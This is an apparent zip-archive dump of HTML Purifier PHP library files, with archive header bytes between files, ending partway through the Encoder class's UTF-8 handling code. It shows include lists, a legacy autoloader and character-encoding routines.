require 'HTMLPurifier/Token/Text.php';
require 'HTMLPurifier/URIFilter/DisableExternal.php';
require 'HTMLPurifier/URIFilter/DisableExternalResources.php';
require 'HTMLPurifier/URIFilter/DisableResources.php';
require 'HTMLPurifier/URIFilter/HostBlacklist.php';
require 'HTMLPurifier/URIFilter/MakeAbsolute.php';
require 'HTMLPurifier/URIFilter/Munge.php';
require 'HTMLPurifier/URIFilter/SafeIframe.php';
require 'HTMLPurifier/URIScheme/data.php';
require 'HTMLPurifier/URIScheme/file.php';
require 'HTMLPurifier/URIScheme/ftp.php';
require 'HTMLPurifier/URIScheme/http.php';
require 'HTMLPurifier/URIScheme/https.php';
require 'HTMLPurifier/URIScheme/mailto.php';
require 'HTMLPurifier/URIScheme/news.php';
require 'HTMLPurifier/URIScheme/nntp.php';
require 'HTMLPurifier/URIScheme/tel.php';
require 'HTMLPurifier/VarParser/Flexible.php';
require 'HTMLPurifier/VarParser/Native.php';
PK j�$Z��z�4 �4 3 htmlpurifier/library/HTMLPurifier.safe-includes.phpnu �[��� <?php
/**
* @file
* This file was auto-generated by generate-includes.php and includes all of
* the core files required by HTML Purifier. This is a convenience stub that
* includes all files using dirname(__FILE__) and require_once. PLEASE DO NOT
* EDIT THIS FILE, changes will be overwritten the next time the script is run.
*
* Changes to include_path are not necessary.
*/
$__dir = dirname(__FILE__);
require_once $__dir . '/HTMLPurifier.php';
require_once $__dir . '/HTMLPurifier/Arborize.php';
require_once $__dir . '/HTMLPurifier/AttrCollections.php';
require_once $__dir . '/HTMLPurifier/AttrDef.php';
require_once $__dir . '/HTMLPurifier/AttrTransform.php';
require_once $__dir . '/HTMLPurifier/AttrTypes.php';
require_once $__dir . '/HTMLPurifier/AttrValidator.php';
require_once $__dir . '/HTMLPurifier/Bootstrap.php';
require_once $__dir . '/HTMLPurifier/Definition.php';
require_once $__dir . '/HTMLPurifier/CSSDefinition.php';
require_once $__dir . '/HTMLPurifier/ChildDef.php';
require_once $__dir . '/HTMLPurifier/Config.php';
require_once $__dir . '/HTMLPurifier/ConfigSchema.php';
require_once $__dir . '/HTMLPurifier/ContentSets.php';
require_once $__dir . '/HTMLPurifier/Context.php';
require_once $__dir . '/HTMLPurifier/DefinitionCache.php';
require_once $__dir . '/HTMLPurifier/DefinitionCacheFactory.php';
require_once $__dir . '/HTMLPurifier/Doctype.php';
require_once $__dir . '/HTMLPurifier/DoctypeRegistry.php';
require_once $__dir . '/HTMLPurifier/ElementDef.php';
require_once $__dir . '/HTMLPurifier/Encoder.php';
require_once $__dir . '/HTMLPurifier/EntityLookup.php';
require_once $__dir . '/HTMLPurifier/EntityParser.php';
require_once $__dir . '/HTMLPurifier/ErrorCollector.php';
require_once $__dir . '/HTMLPurifier/ErrorStruct.php';
require_once $__dir . '/HTMLPurifier/Exception.php';
require_once $__dir . '/HTMLPurifier/Filter.php';
require_once $__dir . '/HTMLPurifier/Generator.php';
require_once $__dir . '/HTMLPurifier/HTMLDefinition.php';
require_once $__dir . '/HTMLPurifier/HTMLModule.php';
require_once $__dir . '/HTMLPurifier/HTMLModuleManager.php';
require_once $__dir . '/HTMLPurifier/IDAccumulator.php';
require_once $__dir . '/HTMLPurifier/Injector.php';
require_once $__dir . '/HTMLPurifier/Language.php';
require_once $__dir . '/HTMLPurifier/LanguageFactory.php';
require_once $__dir . '/HTMLPurifier/Length.php';
require_once $__dir . '/HTMLPurifier/Lexer.php';
require_once $__dir . '/HTMLPurifier/Node.php';
require_once $__dir . '/HTMLPurifier/PercentEncoder.php';
require_once $__dir . '/HTMLPurifier/PropertyList.php';
require_once $__dir . '/HTMLPurifier/PropertyListIterator.php';
require_once $__dir . '/HTMLPurifier/Queue.php';
require_once $__dir . '/HTMLPurifier/Strategy.php';
require_once $__dir . '/HTMLPurifier/StringHash.php';
require_once $__dir . '/HTMLPurifier/StringHashParser.php';
require_once $__dir . '/HTMLPurifier/TagTransform.php';
require_once $__dir . '/HTMLPurifier/Token.php';
require_once $__dir . '/HTMLPurifier/TokenFactory.php';
require_once $__dir . '/HTMLPurifier/URI.php';
require_once $__dir . '/HTMLPurifier/URIDefinition.php';
require_once $__dir . '/HTMLPurifier/URIFilter.php';
require_once $__dir . '/HTMLPurifier/URIParser.php';
require_once $__dir . '/HTMLPurifier/URIScheme.php';
require_once $__dir . '/HTMLPurifier/URISchemeRegistry.php';
require_once $__dir . '/HTMLPurifier/UnitConverter.php';
require_once $__dir . '/HTMLPurifier/VarParser.php';
require_once $__dir . '/HTMLPurifier/VarParserException.php';
require_once $__dir . '/HTMLPurifier/Zipper.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS.php';
require_once $__dir . '/HTMLPurifier/AttrDef/Clone.php';
require_once $__dir . '/HTMLPurifier/AttrDef/Enum.php';
require_once $__dir . '/HTMLPurifier/AttrDef/Integer.php';
require_once $__dir . '/HTMLPurifier/AttrDef/Lang.php';
require_once $__dir . '/HTMLPurifier/AttrDef/Switch.php';
require_once $__dir . '/HTMLPurifier/AttrDef/Text.php';
require_once $__dir . '/HTMLPurifier/AttrDef/URI.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Number.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/AlphaValue.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Background.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Border.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Color.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Composite.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Filter.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Font.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/FontFamily.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Ident.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/ImportantDecorator.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Length.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/ListStyle.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Multiple.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Percentage.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/TextDecoration.php';
require_once $__dir . '/HTMLPurifier/AttrDef/CSS/URI.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Bool.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Nmtokens.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Class.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Color.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/FrameTarget.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/ID.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Pixels.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Length.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/LinkTypes.php';
require_once $__dir . '/HTMLPurifier/AttrDef/HTML/MultiLength.php';
require_once $__dir . '/HTMLPurifier/AttrDef/URI/Email.php';
require_once $__dir . '/HTMLPurifier/AttrDef/URI/Host.php';
require_once $__dir . '/HTMLPurifier/AttrDef/URI/IPv4.php';
require_once $__dir . '/HTMLPurifier/AttrDef/URI/IPv6.php';
require_once $__dir . '/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/Background.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/BdoDir.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/BgColor.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/BoolToCSS.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/Border.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/EnumToCSS.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/ImgRequired.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/ImgSpace.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/Input.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/Lang.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/Length.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/Name.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/NameSync.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/Nofollow.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/SafeEmbed.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/SafeObject.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/SafeParam.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/ScriptRequired.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/TargetBlank.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/TargetNoopener.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/TargetNoreferrer.php';
require_once $__dir . '/HTMLPurifier/AttrTransform/Textarea.php';
require_once $__dir . '/HTMLPurifier/ChildDef/Chameleon.php';
require_once $__dir . '/HTMLPurifier/ChildDef/Custom.php';
require_once $__dir . '/HTMLPurifier/ChildDef/Empty.php';
require_once $__dir . '/HTMLPurifier/ChildDef/List.php';
require_once $__dir . '/HTMLPurifier/ChildDef/Required.php';
require_once $__dir . '/HTMLPurifier/ChildDef/Optional.php';
require_once $__dir . '/HTMLPurifier/ChildDef/StrictBlockquote.php';
require_once $__dir . '/HTMLPurifier/ChildDef/Table.php';
require_once $__dir . '/HTMLPurifier/DefinitionCache/Decorator.php';
require_once $__dir . '/HTMLPurifier/DefinitionCache/Null.php';
require_once $__dir . '/HTMLPurifier/DefinitionCache/Serializer.php';
require_once $__dir . '/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php';
require_once $__dir . '/HTMLPurifier/DefinitionCache/Decorator/Memory.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Bdo.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/CommonAttributes.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Edit.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Forms.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Hypertext.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Iframe.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Image.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Legacy.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/List.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Name.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Nofollow.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Object.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Presentation.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Proprietary.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Ruby.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/SafeEmbed.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/SafeObject.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/SafeScripting.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Scripting.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/StyleAttribute.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Tables.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Target.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/TargetBlank.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/TargetNoopener.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/TargetNoreferrer.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Text.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/XMLCommonAttributes.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Name.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Proprietary.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Strict.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Transitional.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/XHTML.php';
require_once $__dir . '/HTMLPurifier/Injector/AutoParagraph.php';
require_once $__dir . '/HTMLPurifier/Injector/DisplayLinkURI.php';
require_once $__dir . '/HTMLPurifier/Injector/Linkify.php';
require_once $__dir . '/HTMLPurifier/Injector/PurifierLinkify.php';
require_once $__dir . '/HTMLPurifier/Injector/RemoveEmpty.php';
require_once $__dir . '/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php';
require_once $__dir . '/HTMLPurifier/Injector/SafeObject.php';
require_once $__dir . '/HTMLPurifier/Lexer/DOMLex.php';
require_once $__dir . '/HTMLPurifier/Lexer/DirectLex.php';
require_once $__dir . '/HTMLPurifier/Node/Comment.php';
require_once $__dir . '/HTMLPurifier/Node/Element.php';
require_once $__dir . '/HTMLPurifier/Node/Text.php';
require_once $__dir . '/HTMLPurifier/Strategy/Composite.php';
require_once $__dir . '/HTMLPurifier/Strategy/Core.php';
require_once $__dir . '/HTMLPurifier/Strategy/FixNesting.php';
require_once $__dir . '/HTMLPurifier/Strategy/MakeWellFormed.php';
require_once $__dir . '/HTMLPurifier/Strategy/RemoveForeignElements.php';
require_once $__dir . '/HTMLPurifier/Strategy/ValidateAttributes.php';
require_once $__dir . '/HTMLPurifier/TagTransform/Font.php';
require_once $__dir . '/HTMLPurifier/TagTransform/Simple.php';
require_once $__dir . '/HTMLPurifier/Token/Comment.php';
require_once $__dir . '/HTMLPurifier/Token/Tag.php';
require_once $__dir . '/HTMLPurifier/Token/Empty.php';
require_once $__dir . '/HTMLPurifier/Token/End.php';
require_once $__dir . '/HTMLPurifier/Token/Start.php';
require_once $__dir . '/HTMLPurifier/Token/Text.php';
require_once $__dir . '/HTMLPurifier/URIFilter/DisableExternal.php';
require_once $__dir . '/HTMLPurifier/URIFilter/DisableExternalResources.php';
require_once $__dir . '/HTMLPurifier/URIFilter/DisableResources.php';
require_once $__dir . '/HTMLPurifier/URIFilter/HostBlacklist.php';
require_once $__dir . '/HTMLPurifier/URIFilter/MakeAbsolute.php';
require_once $__dir . '/HTMLPurifier/URIFilter/Munge.php';
require_once $__dir . '/HTMLPurifier/URIFilter/SafeIframe.php';
require_once $__dir . '/HTMLPurifier/URIScheme/data.php';
require_once $__dir . '/HTMLPurifier/URIScheme/file.php';
require_once $__dir . '/HTMLPurifier/URIScheme/ftp.php';
require_once $__dir . '/HTMLPurifier/URIScheme/http.php';
require_once $__dir . '/HTMLPurifier/URIScheme/https.php';
require_once $__dir . '/HTMLPurifier/URIScheme/mailto.php';
require_once $__dir . '/HTMLPurifier/URIScheme/news.php';
require_once $__dir . '/HTMLPurifier/URIScheme/nntp.php';
require_once $__dir . '/HTMLPurifier/URIScheme/tel.php';
require_once $__dir . '/HTMLPurifier/VarParser/Flexible.php';
require_once $__dir . '/HTMLPurifier/VarParser/Native.php';
PK j�$Z�h�8 5 htmlpurifier/library/HTMLPurifier.autoload-legacy.phpnu �[��� <?php
/**
* @file
* Legacy autoloader for systems lacking spl_autoload_register
*
* Must be separate to prevent deprecation warning on PHP 7.2
*/
function __autoload($class)
{
return HTMLPurifier_Bootstrap::autoload($class);
}
// vim: et sw=4 sts=4
PK j�$Z��/d /d - htmlpurifier/library/HTMLPurifier/Encoder.phpnu �[��� <?php
/**
* A UTF-8 specific character encoder that handles cleaning and transforming.
* @note All functions in this class should be static.
*/
class HTMLPurifier_Encoder
{
/**
* Constructor throws fatal error if you attempt to instantiate class
*/
private function __construct()
{
trigger_error('Cannot instantiate encoder, call methods statically', E_USER_ERROR);
}
/**
* Error-handler that mutes errors, alternative to shut-up operator.
*/
public static function muteErrorHandler()
{
}
/**
* iconv wrapper which mutes errors, but doesn't work around bugs.
* @param string $in Input encoding
* @param string $out Output encoding
* @param string $text The text to convert
* @return string
*/
public static function unsafeIconv($in, $out, $text)
{
set_error_handler(array('HTMLPurifier_Encoder', 'muteErrorHandler'));
$r = iconv($in, $out, $text);
restore_error_handler();
return $r;
}
/**
* iconv wrapper which mutes errors and works around bugs.
* @param string $in Input encoding
* @param string $out Output encoding
* @param string $text The text to convert
* @param int $max_chunk_size
* @return string
*/
public static function iconv($in, $out, $text, $max_chunk_size = 8000)
{
$code = self::testIconvTruncateBug();
if ($code == self::ICONV_OK) {
return self::unsafeIconv($in, $out, $text);
} elseif ($code == self::ICONV_TRUNCATES) {
// we can only work around this if the input character set
// is utf-8
if ($in == 'utf-8') {
if ($max_chunk_size < 4) {
trigger_error('max_chunk_size is too small', E_USER_WARNING);
return false;
}
// split into 8000 byte chunks, but be careful to handle
// multibyte boundaries properly
if (($c = strlen($text)) <= $max_chunk_size) {
return self::unsafeIconv($in, $out, $text);
}
$r = '';
$i = 0;
while (true) {
if ($i + $max_chunk_size >= $c) {
$r .= self::unsafeIconv($in, $out, substr($text, $i));
break;
}
// wibble the boundary
if (0x80 != (0xC0 & ord($text[$i + $max_chunk_size]))) {
$chunk_size = $max_chunk_size;
} elseif (0x80 != (0xC0 & ord($text[$i + $max_chunk_size - 1]))) {
$chunk_size = $max_chunk_size - 1;
} elseif (0x80 != (0xC0 & ord($text[$i + $max_chunk_size - 2]))) {
$chunk_size = $max_chunk_size - 2;
} elseif (0x80 != (0xC0 & ord($text[$i + $max_chunk_size - 3]))) {
$chunk_size = $max_chunk_size - 3;
} else {
return false; // rather confusing UTF-8...
}
$chunk = substr($text, $i, $chunk_size); // substr doesn't mind overlong lengths
$r .= self::unsafeIconv($in, $out, $chunk);
$i += $chunk_size;
}
return $r;
} else {
return false;
}
} else {
return false;
}
}
/**
* Cleans a UTF-8 string for well-formedness and SGML validity
*
* It will parse according to UTF-8 and return a valid UTF8 string, with
* non-SGML codepoints excluded.
*
* Specifically, it will permit:
* \x{9}\x{A}\x{D}\x{20}-\x{7E}\x{A0}-\x{D7FF}\x{E000}-\x{FFFD}\x{10000}-\x{10FFFF}
* Source: https://www.w3.org/TR/REC-xml/#NT-Char
* Arguably this function should be modernized to the HTML5 set
* of allowed characters:
* https://www.w3.org/TR/html5/syntax.html#preprocessing-the-input-stream
* which simultaneously expand and restrict the set of allowed characters.
*
* @param string $str The string to clean
* @param bool $force_php
* @return string
*
* @note Just for reference, the non-SGML code points are 0 to 31 and
* 127 to 159, inclusive. However, we allow code points 9, 10
* and 13, which are the tab, line feed and carriage return
* respectively. 128 and above the code points map to multibyte
* UTF-8 representations.
*
* @note Fallback code adapted from utf8ToUnicode by Henri Sivonen and
* hsivonen@iki.fi at <http://iki.fi/hsivonen/php-utf8/> under the
* LGPL license. Notes on what changed are inside, but in general,
* the original code transformed UTF-8 text into an array of integer
* Unicode codepoints. Understandably, transforming that back to
* a string would be somewhat expensive, so the function was modded to
* directly operate on the string. However, this discourages code
* reuse, and the logic enumerated here would be useful for any
* function that needs to be able to understand UTF-8 characters.
* As of right now, only smart lossless character encoding converters
* would need that, and I'm probably not going to implement them.
*/
public static function cleanUTF8($str, $force_php = false)
{
// UTF-8 validity is checked since PHP 4.3.5
// This is an optimization: if the string is already valid UTF-8, no
// need to do PHP stuff. 99% of the time, this will be the case.
if (preg_match(
'/^[\x{9}\x{A}\x{D}\x{20}-\x{7E}\x{A0}-\x{D7FF}\x{E000}-\x{FFFD}\x{10000}-\x{10FFFF}]*$/Du',
$str
)) {
return $str;
}
$mState = 0; // cached expected number of octets after the current octet
// until the beginning of the next UTF8 character sequence
$mUcs4 = 0; // cached Unicode character
$mBytes = 1; // cached expected number of octets in the current sequence
// original code involved an $out that was an array of Unicode
// codepoints. Instead of having to convert back into UTF-8, we've
// decided to directly append valid UTF-8 characters onto a string
// $out once they're done. $char accumulates raw bytes, while $mUcs4
// turns into the Unicode code point, so there's some redundancy.
$out = '';
$char = '';
$len = strlen($str);
for ($i = 0; $i < $len; $i++) {
$in = ord($str[$i]);
$char .= $str[$i]; // append byte to char
if (0 == $mState) {
// When mState is zero we expect either a US-ASCII character
// or a multi-octet sequence.
if (0 == (0x80 & ($in))) {
// US-ASCII, pass straight through.
if (($in <= 31 || $in == 127) &&
!($in == 9 || $in == 13 || $in == 10) // save \r\t\n
) {
// control characters, remove
} else {
$out .= $char;
}
// reset
$char = '';
$mBytes = 1;
} elseif (0xC0 == (0xE0 & ($in))) {
// First octet of 2 octet sequence
$mUcs4 = ($in);
$mUcs4 = ($mUcs4 & 0x1F) << 6;
$mState = 1;
$mBytes = 2;
} elseif (0xE0 == (0xF0 & ($in))) {
// First octet of 3 octet sequence
$mUcs4 = ($in);
$mUcs4 = ($mUcs4 & 0x0F) << 12;
$mState = 2;
$mBytes = 3;
} elseif (0xF0 == (0xF8 & ($in))) {
// First octet of 4 octet sequence
$mUcs4 = ($in);
$mUcs4 = ($mUcs4 & 0x07) << 18;
$mState = 3;
$mBytes = 4;
} elseif (0xF8 == (0xFC & ($in))) {
// First octet of 5 octet sequence.
//
// This is illegal because the encoded codepoint must be
// either:
// (a) not the shortest form or
// (b) outside the Unicode range of 0-0x10FFFF.
// Rather than trying to resynchronize, we will carry on
// until the end of the sequence and let the later error
// handling code catch it.
$mUcs4 = ($in);
$mUcs4 = ($mUcs4 & 0x03) << 24;
$mState = 4;
$mBytes = 5;
} elseif (0xFC == (0xFE & ($in))) {
// First octet of 6 octet sequence, see comments for 5
// octet sequence.
$mUcs4 = ($in);
$mUcs4 = ($mUcs4 & 1) << 30;
$mState = 5;
$mBytes = 6;
} else {
// Current octet is neither in the US-ASCII range nor a
// legal first octet of a multi-octet sequence.
$mState = 0;
$mUcs4 = 0;
$mBytes = 1;
$char = '';
}
} else {
// When mState is non-zero, we expect a continuation of the
// multi-octet sequence
if (0x80 == (0xC0 & ($in))) {
// Legal continuation.
$shift = ($mState - 1) * 6;
$tmp = $in;
$tmp = ($tmp & 0x0000003F) << $shift;
$mUcs4 |= $tmp;
if (0 == --$mState) {
// End of the multi-octet sequence. mUcs4 now contains
// the final Unicode codepoint to be output
// Check for illegal sequences and codepoints.
// From Unicode 3.1, non-shortest form is illegal
if (((2 == $mBytes) && ($mUcs4 < 0x0080)) ||
((3 == $mBytes) && ($mUcs4 < 0x0800)) ||
((4 == $mBytes) && ($mUcs4 < 0x10000)) ||
(4 < $mBytes) ||
// From Unicode 3.2, surrogate characters = illegal
(($mUcs4 & 0xFFFFF800) == 0xD800) ||
// Codepoints outside the Unicode range are illegal
($mUcs4 > 0x10FFFF)
) {
} elseif (0xFEFF != $mUcs4 && // omit BOM
// check for valid Char unicode codepoints
(
0x9 == $mUcs4 ||
0xA == $mUcs4 ||
0xD == $mUcs4 ||
(0x20 <= $mUcs4 && 0x7E >= $mUcs4) ||
// 7F-9F is not strictly prohibited by XML,
// but it is non-SGML, and thus we don't allow it
(0xA0 <= $mUcs4 && 0xD7FF >= $mUcs4) ||
(0xE000 <= $mUcs4 && 0xFFFD >= $mUcs4) ||
(0x10000 <= $mUcs4 && 0x10FFFF >= $mUcs4)
)
) {
$out .= $char;
}
// initialize UTF8 cache (reset)
$mState = 0;
$mUcs4 = 0;
$mBytes = 1;
$char = '';
}
} else {
// ((0xC0 & (*in) != 0x80) && (mState != 0))
// Incomplete multi-octet sequence.
// used to result in complete fail, but we'll reset
$mState = 0;
$mUcs4 = 0;
$mBytes = 1;
$char ='';
}
}
}
return $out;
}
/**
* Translates a Unicode codepoint into its corresponding UTF-8 character.
* @note Based on Feyd's function at
* <http://forums.devnetwork.net/viewtopic.php?p=191404#191404>,
* which is in public domain.
* @note While we're going to do code point parsing anyway, a good
* optimization would be to refuse to translate code points that
* are non-SGML characters. However, this could lead to duplication.
* @note This is very similar to the unichr function in
* maintenance/generate-entity-file.php (although this is superior,
* due to its sanity checks).
*/
// +----------+----------+----------+----------+
// | 33222222 | 22221111 | 111111 | |
// | 10987654 | 32109876 | 54321098 | 76543210 | bit
// +----------+----------+----------+----------+
// | | | | 0xxxxxxx | 1 byte 0x00000000..0x0000007F
// | | | 110yyyyy | 10xxxxxx | 2 byte 0x00000080..0x000007FF
// | | 1110zzzz | 10yyyyyy | 10xxxxxx | 3 byte 0x00000800..0x0000FFFF
// | 11110www | 10wwzzzz | 10yyyyyy | 10xxxxxx | 4 byte 0x00010000..0x0010FFFF
// +----------+----------+----------+----------+
// | 00000000 | 00011111 | 11111111 | 11111111 | Theoretical upper limit of legal scalars: 2097151 (0x001FFFFF)
// | 00000000 | 00010000 | 11111111 | 11111111 | Defined upper limit of legal scalar codes
// +----------+----------+----------+----------+
public static function unichr($code)
{
if ($code > 1114111 or $code < 0 or
($code >= 55296 and $code <= 57343) ) {
// bits are set outside the "valid" range as defined
// by UNICODE 4.1.0
return '';
}
$x = $y = $z = $w = 0;
if ($code < 128) {
// regular ASCII character
$x = $code;
} else {
// set up bits for UTF-8
$x = ($code & 63) | 128;
if ($code < 2048) {
$y = (($code & 2047) >> 6) | 192;
} else {
$y = (($code & 4032) >> 6) | 128;
if ($code < 65536) {
$z = (($code >> 12) & 15) | 224;
} else {
$z = (($code >> 12) & 63) | 128;
$w = (($code >> 18) & 7) | 240;
}
}
}
// set up the actual character
$ret = '';
if ($w) {
$ret .= chr($w);
}
if ($z) {
$ret .= chr($z);
}
if ($y) {
$ret .= chr($y);
}
$ret .= chr($x);
return $ret;
}
/**
* @return bool
*/
public static function iconvAvailable()
{
static $iconv = null;
if ($iconv === null) {
$iconv = function_exists('iconv') && self::testIconvTruncateBug() != self::ICONV_UNUSABLE;
}
return $iconv;
}
/**
* Convert a string to UTF-8 based on configuration.
* @param string $str The string to convert
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return string
*/
public static function convertToUTF8($str, $config, $context)
{
$encoding = $config->get('Core.Encoding');
if ($encoding === 'utf-8') {
return $str;
}
static $iconv = null;
if ($iconv === null) {
$iconv = self::iconvAvailable();
}
if ($iconv && !$config->get('Test.ForceNoIconv')) {
// unaffected by bugs, since UTF-8 support all characters
$str = self::unsafeIconv($encoding, 'utf-8//IGNORE', $str);
if ($str === false) {
// $encoding is not a valid encoding
trigger_error('Invalid encoding ' . $encoding, E_USER_ERROR);
return '';
}
// If the string is bjorked by Shift_JIS or a similar encoding
// that doesn't support all of ASCII, convert the naughty
// characters to their true byte-wise ASCII/UTF-8 equivalents.
$str = strtr($str, self::testEncodingSupportsASCII($encoding));
return $str;
} elseif ($encoding === 'iso-8859-1') {
$str = utf8_encode($str);
return $str;
}
$bug = HTMLPurifier_Encoder::testIconvTruncateBug();
if ($bug == self::ICONV_OK) {
trigger_error('Encoding not supported, please install iconv', E_USER_ERROR);
} else {
trigger_error(
'You have a buggy version of iconv, see https://bugs.php.net/bug.php?id=48147 ' .
'and http://sourceware.org/bugzilla/show_bug.cgi?id=13541',
E_USER_ERROR
);
}
}
/**
* Converts a string from UTF-8 based on configuration.
* @param string $str The string to convert
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return string
* @note Currently, this is a lossy conversion, with unexpressable
* characters being omitted.
*/
public static function convertFromUTF8($str, $config, $context)
{
$encoding = $config->get('Core.Encoding');
if ($escape = $config->get('Core.EscapeNonASCIICharacters')) {
$str = self::convertToASCIIDumbLossless($str);
}
if ($encoding === 'utf-8') {
return $str;
}
static $iconv = null;
if ($iconv === null) {
$iconv = self::iconvAvailable();
}
if ($iconv && !$config->get('Test.ForceNoIconv')) {
// Undo our previous fix in convertToUTF8, otherwise iconv will barf
$ascii_fix = self::testEncodingSupportsASCII($encoding);
if (!$escape && !empty($ascii_fix)) {
$clear_fix = array();
foreach ($ascii_fix as $utf8 => $native) {
$clear_fix[$utf8] = '';
}
$str = strtr($str, $clear_fix);
}
$str = strtr($str, array_flip($ascii_fix));
// Normal stuff
$str = self::iconv('utf-8', $encoding . '//IGNORE', $str);
return $str;
} elseif ($encoding === 'iso-8859-1') {
$str = utf8_decode($str);
return $str;
}
trigger_error('Encoding not supported', E_USER_ERROR);
// You might be tempted to assume that the ASCII representation
// might be OK, however, this is *not* universally true over all
// encodings. So we take the conservative route here, rather
// than forcibly turn on %Core.EscapeNonASCIICharacters
}
/**
* Lossless (character-wise) conversion of HTML to ASCII
* @param string $str UTF-8 string to be converted to ASCII
* @return string ASCII encoded string with non-ASCII character entity-ized
* @warning Adapted from MediaWiki, claiming fair use: this is a common
* algorithm. If you disagree with this license fudgery,
* implement it yourself.
* @note Uses decimal numeric entities since they are best supported.
* @note This is a DUMB function: it has no concept of keeping
* character entities that the projected character encoding
* can allow. We could possibly implement a smart version
* but that would require it to also know which Unicode
* codepoints the charset supported (not an easy task).
* @note Sort of with cleanUTF8() but it assumes that $str is
* well-formed UTF-8
*/
public static function convertToASCIIDumbLossless($str)
{
$bytesleft = 0;
$result = '';
$working = 0;
$len = strlen($str);
for ($i = 0; $i < $len; $i++) {
$bytevalue = ord($str[$i]);
if ($bytevalue <= 0x7F) { //0xxx xxxx
$result .= chr($bytevalue);
$bytesleft = 0;
} elseif ($bytevalue <= 0xBF) { //10xx xxxx
$working = $working << 6;
$working += ($bytevalue & 0x3F);
$bytesleft--;
if ($bytesleft <= 0) {
$result .= "&#" . $working . ";";
}
} elseif ($bytevalue <= 0xDF) { //110x xxxx
$working = $bytevalue & 0x1F;
$bytesleft = 1;
} elseif ($bytevalue <= 0xEF) { //1110 xxxx
$working = $bytevalue & 0x0F;
$bytesleft = 2;
} else { //1111 0xxx
$working = $bytevalue & 0x07;
$bytesleft = 3;
}
}
